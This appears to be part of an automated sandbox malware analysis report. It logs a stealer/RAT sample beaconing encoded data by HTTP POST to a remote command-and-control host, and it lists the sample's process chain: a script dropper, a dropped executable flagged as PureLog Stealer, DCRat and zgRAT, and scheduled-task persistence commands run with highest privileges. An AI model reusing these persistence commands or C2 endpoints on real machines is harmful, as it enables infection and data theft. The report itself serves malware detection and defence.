Aug 26, 2024 20:17:58.368351936 CEST	2576	OUT	Data Raw: 5f 57 59 55 51 43 51 5e 5b 5f 5a 51 59 51 58 57 57 58 5d 5c 57 5f 53 54 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: _WYUQCQ^[_ZQYQXWWX]\W_STYY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^-; ,6.< 3>=4^>-!^<-"<#Q40*)?^70=Y/.&F$.Y/=
Aug 26, 2024 20:17:58.713680029 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:17:58.912223101 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:17:57 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.4	49838	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:17:59.325223923 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2568 Expect: 100-continue Connection: Keep-Alive
Aug 26, 2024 20:17:59.680672884 CEST	2568	OUT	Data Raw: 5f 5d 5c 55 54 47 54 5e 5b 5f 5a 51 59 57 58 51 57 5c 5d 5e 57 5d 53 5d 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: _]\UTGT^[_ZQYWXQW\]^W]S]YY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^-.#C5=$Y# !Z= ^(>!)=,#< <" *8&F$.Y/=
Aug 26, 2024 20:18:00.008312941 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:18:00.136455059 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:17:59 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.4	49839	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:18:00.268994093 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Aug 26, 2024 20:18:00.618454933 CEST	2576	OUT	Data Raw: 5a 50 5c 53 51 47 54 51 5b 5f 5a 51 59 5e 58 52 57 5b 5d 59 57 58 53 58 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: ZP\SQGTQ[_ZQY^XRW[]YWXSXYY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^.^.3 #>$7 !+=0+=5])-Z#,3P72'+40%_.>&F$.Y/
Aug 26, 2024 20:18:00.944562912 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:18:01.135108948 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:18:00 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.4	49840	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:18:01.287025928 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Aug 26, 2024 20:18:01.695301056 CEST	2576	OUT	Data Raw: 5f 55 5c 57 51 40 54 58 5b 5f 5a 51 59 53 58 5f 57 59 5d 5b 57 50 53 54 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: _U\WQ@TX[_ZQYSX_WY][WPSTYY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^-,/D5=# >>-$X<.!])-7<#P718+9 /&F$.Y/5
Aug 26, 2024 20:18:01.993429899 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:18:02.157809973 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:18:01 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.4	49841	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:18:02.283030987 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Aug 26, 2024 20:18:02.634053946 CEST	2576	OUT	Data Raw: 5a 57 59 53 54 46 54 51 5b 5f 5a 51 59 53 58 53 57 50 5d 59 57 5a 53 5e 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: ZWYSTFTQ[_ZQYSXSWP]YWZS^YY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^.].#(#.(#0%\>.?(6<#Z7?#V#W<(:']7#=\/&F$.Y/5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.4	49842	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:18:02.721451044 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2060 Expect: 100-continue Connection: Keep-Alive
Aug 26, 2024 20:18:03.071495056 CEST	2060	OUT	Data Raw: 5a 57 5c 51 54 45 51 5d 5b 5f 5a 51 59 52 58 50 57 5a 5d 5c 57 58 53 5c 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: ZW\QTEQ][_ZQYRXPWZ]\WXS\YY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^.//@"#4%Y==+-=Z(( 'S W;(: 9/>&F$.Y/1
Aug 26, 2024 20:18:03.403409958 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:18:03.536350012 CEST	308	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:18:02 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Data Raw: 09 1d 26 54 3d 1b 0f 02 25 15 0a 53 33 33 29 0e 2a 2d 2f 5e 3e 3d 2a 00 24 16 22 05 26 2e 05 0c 24 38 35 5c 29 3d 25 0e 31 3f 27 59 2e 34 2b 5d 0c 13 21 00 20 03 31 00 31 3c 2c 1e 2b 2b 2f 18 22 2f 29 00 29 2a 3d 50 3f 3f 3b 01 3f 2a 28 00 2a 2a 03 0f 2e 38 35 18 2f 23 39 08 20 2e 2b 52 0d 11 27 0b 3f 5b 39 55 28 2e 27 5e 23 3b 23 59 27 03 26 1d 24 22 2e 55 27 00 3f 00 26 0b 22 0c 33 1f 29 56 25 05 3e 58 31 01 2d 1c 21 32 23 54 2c 00 22 57 01 33 55 56 Data Ascii: &T=%S33)-/^>=$"&.$85\)=%1?'Y.4+]! 11<,++/"/))=P??;?(**.85/#9 .+R'?[9U(.'^#;#Y'&$".U'?&"3)V%>X1-!2#T,"W3UV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.4	49843	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:18:02.843180895 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Aug 26, 2024 20:18:03.196398020 CEST	2576	OUT	Data Raw: 5f 52 5c 53 54 43 54 5d 5b 5f 5a 51 59 52 58 50 57 5f 5d 5e 57 50 53 5a 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: _R\STCT][_ZQYRXPW_]^WPSZYY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^.Y,#8"<Y4)*'+=5[([84+7W0P(9+Y7%\/.&F$.Y/1
Aug 26, 2024 20:18:03.526783943 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:18:03.744358063 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:18:02 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.4	49844	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:18:03.870172024 CEST	322	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue
Aug 26, 2024 20:18:04.231808901 CEST	2576	OUT	Data Raw: 5a 50 5c 5f 51 43 54 5e 5b 5f 5a 51 59 55 58 51 57 5b 5d 52 57 5f 53 58 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: ZP\_QCT^[_ZQYUXQW[]RW_SXYY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^.X;C!( [)]+.\(=4 <42#?:7"0;>&F$.Y/-
Aug 26, 2024 20:18:04.558018923 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:18:04.701437950 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:18:03 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.4	49845	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:18:05.144037008 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Aug 26, 2024 20:18:05.493129969 CEST	2576	OUT	Data Raw: 5a 50 5c 57 54 40 54 59 5b 5f 5a 51 59 55 58 55 57 51 5d 58 57 59 53 5c 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: ZP\WT@TY[_ZQYUXUWQ]XWYS\YY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^.],##5=+#3"=,\?-+-$ /+41R?7\7#9_,&F$.Y/-
Aug 26, 2024 20:18:06.007719994 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:18:06.012880087 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:18:04 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[
Aug 26, 2024 20:18:06.012893915 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:18:04 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.4	49846	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:18:06.136051893 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Aug 26, 2024 20:18:06.493267059 CEST	2576	OUT	Data Raw: 5f 57 5c 57 54 44 51 59 5b 5f 5a 51 59 52 58 5e 57 5f 5d 58 57 50 53 5a 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: _W\WTDQY[_ZQYRX^W_]XWPSZYY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^.X,@5[#" *).<]+.=?> 7,Q W8<_?Y4V=^;.&F$.Y/1
Aug 26, 2024 20:18:06.800575018 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:18:07.127985001 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:18:05 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[
Aug 26, 2024 20:18:07.142159939 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:18:05 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.4	49847	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:18:07.262666941 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Aug 26, 2024 20:18:07.955266953 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:18:14.247999907 CEST	2576	OUT	Data Raw: 5a 52 5c 52 54 47 54 5e 5b 5f 5a 51 59 5f 58 5f 57 5a 5d 5f 57 51 53 54 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: ZR\RTGT^[_ZQY_X_WZ]_WQSTYY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^._80/5X#>*4\+>9(.;Z /+R " <:'Y4V)_,>&F$.Y/
Aug 26, 2024 20:18:14.551881075 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:18:13 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Target ID:	0
Start time:	14:16:00
Start date:	26/08/2024
Path:	C:\Users\user\Desktop\fluent.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\fluent.exe"
Imagebase:	0x6e0000
File size:	3'315'422 bytes
MD5 hash:	210E4AC30AB0F880161088551AA8519E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000003.1674120767.00000000071D1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000003.1674814949.0000000007AE8000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	14:16:03
Start date:	26/08/2024
Path:	C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WScript.exe" "C:\comReviewintocommon\TWlWAN2ryscXhu39ZLKnk88Wy4VE5T41kI6bFa9kkkqSh.vbe"
Imagebase:	0xf00000
File size:	147'456 bytes
MD5 hash:	FF00E0480075B095948000BDC66E81F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	14:16:20
Start date:	26/08/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\comReviewintocommon\YnzAdQrUUt8.bat" "
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	14:16:20
Start date:	26/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	14:16:21
Start date:	26/08/2024
Path:	C:\comReviewintocommon\driverSavesNet.exe
Wow64 process (32bit):	false
Commandline:	"C:\comReviewintocommon/driverSavesNet.exe"
Imagebase:	0x630000
File size:	2'011'136 bytes
MD5 hash:	F5C25B9C7F555EE1D53CE4A530C475C8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000005.00000000.1862359118.0000000000632000.00000002.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000005.00000002.1920002113.0000000012C8B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\comReviewintocommon\driverSavesNet.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\comReviewintocommon\driverSavesNet.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 53%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	14:16:23
Start date:	26/08/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "gNKaMdWfDFzDkhEeKzQg" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	14:16:23
Start date:	26/08/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "gNKaMdWfDFzDkhEeKzQ" /sc ONLOGON /tr "'C:\Program Files (x86)\microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	14:16:23
Start date:	26/08/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "gNKaMdWfDFzDkhEeKzQg" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	14:16:23
Start date:	26/08/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\jzqywwbr\jzqywwbr.cmdline"
Imagebase:	0x7ff622af0000
File size:	2'759'232 bytes
MD5 hash:	F65B029562077B648A6A5F6A1AA76A66
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	14:16:23
Start date:	26/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	14:16:24
Start date:	26/08/2024
Path:	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe"
Imagebase:	0xd90000
File size:	2'011'136 bytes
MD5 hash:	F5C25B9C7F555EE1D53CE4A530C475C8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
